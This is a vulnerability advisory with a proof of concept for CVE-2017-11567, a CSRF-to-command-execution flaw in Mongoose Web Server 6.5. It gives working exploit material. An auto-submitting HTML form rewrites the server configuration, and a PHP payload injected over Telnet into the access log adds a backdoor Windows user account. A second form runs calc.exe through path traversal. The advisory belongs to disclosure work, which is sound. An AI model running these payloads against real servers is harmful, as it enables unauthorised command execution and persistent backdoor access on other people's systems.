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Mongoose Web Server 6.5 CSRF 命令执行

[+] Credits: John Page AKA hyp3rlinx 
[+] Website: hyp3rlinx.altervista.org
[+] ISR: apparitionSec           
  
 
 
Vendor:
===============
www.cesanta.com
 
 
 
Product:
==================
Mongoose Web Server (Free Edition)
Mongoose-free-6.5.exe
 
 
Mongoose - GitHub's most popular embedded web server
and multi-protocol networking library
 
Mongoose Embedded Web Server Library - Mongoose is more than an embedded webserver. It is a multi-protocol embedded networking library
with functions including TCP, HTTP client and server, WebSocket client and server, MQTT client and broker and much more.
 
 
 
Vulnerability Type:
===================
CSRF - Command Execution
 
 
 
CVE Reference:
==============
CVE-2017-11567
 
 
 
Security Issue:
================
Remote attackers who can lure a Mongoose web server user into clicking a malicious link or visit attacker controlled web page
can execute system commands on the system hosting Mongoose server. However, IF Mongoose web server is installed as service then
executing programs e.g. "calc.exe" may at times crash or fail to appear, but you may see it in Windows taskmgr.exe.
Therefore, from my tests commands may become unstable when Mongoose is run as a service.
 
When Mongoose is run standard mode attackers can potentially modify "Mongoose.conf" and create arbitrary files on server like .PHP etc.
to point Mongoose to this as its new "index" file. Then you need to tell Mongoose its "access_log_file" is the new attacker generated
file, after injecting commands into Mongoose web servers log file that will get excuted when log file is later requested.
 
This vulnerability requires CGI interpreter to be already set or some information about the target is known like the CGI path and language
"pl,php,cgi" used, so when we can set to use correct programming language when file is created during initial CRSF attack.
 
Note: If running commands with arguments, we have to use "\t" tab chars as using space will break our TELNET based code injection
to the server log.
 
e.g.
 
GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1
 
OR just TELNET to Mongoose web server, inject arbitrary commands, then call exec by making another TELNET HTTP GET.
 
 
After Command Injection "Mongoose.conf" will be:
 
# Mongoose web server configuration file.
# For detailed description of every option, visit
# Lines starting with '#' and empty lines are ignored.
# To make a change, remove leading '#', modify option's value,
# save this file and then restart Mongoose.
 
# access_control_list
access_log_file C:\Mongoose.access.php     <======= BOOM
# auth_domain mydomain.com
cgi_interpreter c:\xampp\php\php.exe     <====== MUST BE SET
# cgi_pattern **.cgi$|**.pl$|**.php$
# dav_auth_file
# dav_root
# debug 0
document_root C:\
# enable_directory_listing yes
# error_log_file
# extra_headers
# extra_mime_types
# global_auth_file
# hide_files_patterns
# hexdump_file
index_files Mongoose.access.php   <======== BOOM
# listening_port 8080
# run_as_user
# ssi_pattern **.shtml$|**.shtm$
# ssl_certificate
# ssl_ca_certificate
# start_browser yes
# url_rewrites
 
 
 
Mongoose log file Command Inject to create backdoor.
-----------------------------------------------------------
 
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 -
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 -
2017-07-24 03:12:30 - 127.0.0.1 - GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> 400 0 -
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 -
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_settings 200 4294967295 http://127.0.0.1:8080/__mg_admin
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_cfg_file_status 200 4294967295 http://127.0.0.1:8080/__mg_admin
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /favicon.ico 404 0 -
  
 
Tested Windows 7.
 
 
 
Exploit/POC:
=============
 
1) add backdoor account POC.
 
<form action="http://127.0.0.1:8080/__mg_admin?save" method="post">
<input type="hidden" name="access_log_file" value="Mongoose.access.php">
<input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.php">
<input type="hidden" name="index_files" value="Mongoose.access.php">
<input type="hidden" name="cgi_interpreter" value="c:\xampp\php\php.exe">
<script>document.forms[0].submit()</script>
</form>
 
 
2) TELNET x.x.x.x 8080
GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1
 
Enter
 
Enter
 
TELNET x.x.x.x 8080
GET / HTTP/1.1
 
Enter
 
Enter
 
Done, backdoor added!
 
 
====================
 
1) run calc.exe POC.
 
<form action="http://127.0.0.1:8080/__mg_admin?save" method="post">
<input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.exe">
<input type="hidden" name="index_files" value="../../../../../../Windows/system32/calc.exe">
<input type="hidden" name="cgi_interpreter" value="../../../../../../Windows/system32/calc.exe">
<script>document.forms[0].submit()</script>
</form>
 
2) TELNET x.x.x.x 8080
GET / HTTP/1.1
 
Enter
 
Enter
 
 
 
Network Access:
===============
Remote
 
 
 
Severity:
=========
Medium
 
 
 
Disclosure Timeline:
=================================
Vendor Notification: July 23, 2017
Vendor Notification: July 28, 2017
Vendor Acknowledgement: July 31, 2017
Vendor Fixed released version  6.9 : September 4, 2017
September 4, 2017 : Public Disclosure



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